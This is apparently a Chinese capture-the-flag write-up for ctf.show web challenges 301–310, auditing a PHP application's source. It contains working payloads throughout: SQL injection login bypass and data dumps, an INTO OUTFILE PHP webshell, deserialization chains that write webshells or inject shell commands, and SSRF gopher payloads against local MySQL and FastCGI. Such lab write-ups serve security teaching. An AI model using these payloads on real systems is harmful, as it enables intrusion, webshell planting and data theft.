web301
下载源码后在checklogin.php
发现问题代码
<?php
error_reporting(0);
session_start();
require 'conn.php';
$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";
$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";
$username=$_POST['userid'];
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
$_SESSION['error']="1";
header("location:login.php");
return;
}
if(!strcasecmp($userpwd,$row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}
$_SESSION['error']="1";
header("location:login.php");
?>
这里有一句完全没过滤的sql查询语句,而username是我们可控的,再看它下面的逻辑,会将查询到的用户名和密码比较,如果用户名和密码相同就登陆成功。
strcasecmp(string1,string2)
string1 必需。规定要比较的第一个字符串。
string2 必需。规定要比较的第二个字符串。
该函数返回:
0 - 如果两个字符串相等
<0 - 如果 string1 小于 string2
>0 - 如果 string1 大于 string2
那这里就可以用联合查询让username返回1
payload:
userid=-1' union select 1%23&userpwd=1
或者也可以用sqlmap去跑
web302
修改了代码的一个地方
if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
直接写马即可,虽然经过sds_decode()函数的处理,但是他的sql语句已经执行了
payload:
userid=-1' union select "<?php @eval($_POST[a]);?>" into outfile "/var/www/html/a.php"#&userpwd=1
web303
先用弱口令admin/admin
,诶,直接进去了,但是并没有flag,审计下载的源码,在dptadd.php
发现注入点
<?php
session_start();
require 'conn.php';
if(!isset($_SESSION['login'])){
header("location:login.php");
return;
}else{
//注入点
$_POST['dpt_name']=!empty($_POST['dpt_name'])?$_POST['dpt_name']:NULL;
$_POST['dpt_address']=!empty($_POST['dpt_address'])?$_POST['dpt_address']:NULL;
$_POST['dpt_build_year']=!empty($_POST['dpt_build_year'])?$_POST['dpt_build_year']:NULL;
$_POST['dpt_has_cert']=!empty($_POST['dpt_has_cert'])?$_POST['dpt_has_cert']:NULL;
$_POST['dpt_cert_number']=!empty($_POST['dpt_cert_number'])?$_POST['dpt_cert_number']:NULL;
$_POST['dpt_telephone_number']=!empty($_POST['dpt_telephone_number'])?$_POST['dpt_telephone_number']:NULL;
$dpt_name=$_POST['dpt_name'];
$dpt_address=$_POST['dpt_address'];
$dpt_build_year=$_POST['dpt_build_year'];
$dpt_has_cert=$_POST['dpt_has_cert']=="on"?"1":"0";
$dpt_cert_number=$_POST['dpt_cert_number'];
$dpt_telephone_number=$_POST['dpt_telephone_number'];
$mysqli->query("set names utf-8");
$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
$result=$mysqli->query($sql);
echo $sql;
if($result===true){
$mysqli->close();
header("location:dpt.php");
}else{
die(mysqli_error($mysqli));
}
}
?>
这里可以在insert插入时注入。
payload:
dpt_name=1&dpt_address=1&dpt_build_year=2001-07-01&dpt_has_cert=1&dpt_cert_number=1',sds_telephone=(select group_concat(table_name) from information_schema.tables where table_schema=database())%23&dpt_telephone_number=
dpt_name=1&dpt_address=1&dpt_build_year=2001-07-01&dpt_has_cert=1&dpt_cert_number=1',sds_telephone=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')%23&dpt_telephone_number=
dpt_name=1&dpt_address=1&dpt_build_year=2001-07-01&dpt_has_cert=1&dpt_cert_number=1',sds_telephone=(select group_concat(flag) from sds_fl9g)%23&dpt_telephone_number=
web304
增加了waf
function sds_waf($str){
return preg_match('/[0-9]|[a-z]|-/i', $str);
}
但是上题payload还是能用,只是把表名从sds_fl9g
换成sds_flaag
web305
class.php
中存在反序列化点,直接写马,在checklogin.php
中传入
//class.php
<?php
class user{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __destruct(){
file_put_contents($this->username, $this->password);
}
}
//checklogin.php
<?php
error_reporting(0);
session_start();
require 'conn.php';
require 'fun.php';
require 'class.php';
$user_cookie = $_COOKIE['user'];
poc:
<?php
class user{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
}
$a = new user('1.php','<?php @eval($_POST[a]);?>');
echo urlencode(serialize($a));
然后在burp中抓包打
用蚁剑连接时要注意把cookie加上,否则连接不上,然后连接数据库,在数据库中获取flag
web306
mvc结构,先找危险函数,在class.php
中发现file_put_contents()
class log{
public $title='log.txt';
public $info='';
public function loginfo($info){
$this->info=$this->info.$info;
}
public function close(){
file_put_contents($this->title, $this->info);
}
}
那么继续找在哪里调用了这个close()函数,可以发现在dao.php中调用
class dao{
private $config;
private $conn;
public function __destruct(){
$this->conn->close();
}
}
最后只剩一个利用点,在index.php中,
<?php
session_start();
require "conn.php";
require "dao.php";
$user = unserialize(base64_decode($_COOKIE['user']));
且正好index.php
中包含了dao.php
,dao.php
中包含了class.php
poc:
<?php
class dao{
private $conn;
public function __construct(){
$this->conn=new log();
}
}
class log{
public $title='1.php';
public $info='<?php @eval($_POST[a]); ?>';
}
$a = new dao();
echo base64_encode(serialize($a));
web307
下载源码后发现把上一题的关键函数close()换成了closelog(),不能再用上一题的思路。
还是先找危险函数,发现shell_exec()
class dao{
private $config;
private $conn;
public function clearCache(){
shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
}
}
因为是拼接的,在config.php中可以找到这个变量
class config{
public $cache_dir = 'cache';
}
正好在dao.php
中包含了config.php
,那么就可以利用这个来rce,有两个反序列化的地方:login.php和logout.php,比较后发现logout.php
中直接调用了clearCache()
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
$service->clearCache();
}
poc:
<?php
class config
{
public $cache_dir = ';cat /var/www/html/flag.php > /var/www/html/3.txt;';
}
class dao
{
private $config;
public function __construct()
{
$this->config = new config();
}
}
$a = new dao();
echo base64_encode(serialize($a));
?>
web308
发现上一题的rce处加了正则,利用不了,要寻找新的利用点
在fun.php中,发现了ssrf的利用点
function checkUpdate($url){
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$res = curl_exec($ch);
curl_close($ch);
return $res;
}
全局搜索一下checkUpdate()函数,发现在dao.php中使用到
//dao.php
public function checkVersion(){
return checkUpdate($this->config->update_url);
}
且在config.php中,mysql数据库无密码,网址可控
<?php
class config{
private $mysql_username='root';
private $mysql_password='';
private $mysql_db='sds';
private $mysql_port=3306;
private $mysql_host='localhost';
public $cache_dir = 'cache';
public $update_url = 'https://vip.ctf.show/version.txt';
因此用gopherus生成payload
poc:
<?php
class config
{
public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%61%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%01%00%00%00%01';
}
class dao
{
private $config;
public function __construct()
{
$this->config = new config();
}
}
$a = new dao();
echo base64_encode(serialize($a));
?>
web309
这题的mysql有密码了,不能再像上一题一样利用gopher协议ssrf,可以通过gopher协议的延时判断为打的是fastcgi
gopher://127.0.0.1:9000
继续用gopherus生成payload
poc:
<?php
class config
{
public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH72%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00H%04%00%3C%3Fphp%20system%28%27cat%20/var/www/html/f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
}
class dao
{
private $config;
public function __construct()
{
$this->config = new config();
}
}
$a = new dao();
echo base64_encode(serialize($a));
?>
web310
可以先读配置文件
poc:
<?php
class config
{
public $update_url = 'file:///etc/nginx/nginx.conf';
}
class dao
{
private $config;
public function __construct()
{
$this->config = new config();
}
}
$a = new dao();
echo base64_encode(serialize($a));
?>
看到4476端口是被监听的,且存在flag
那么直接访问即可
poc:
<?php
class config
{
public $update_url = 'http://127.0.0.1:4476';
}
class dao
{
private $config;
public function __construct()
{
$this->config = new config();
}
}
$a = new dao();
echo base64_encode(serialize($a));
?>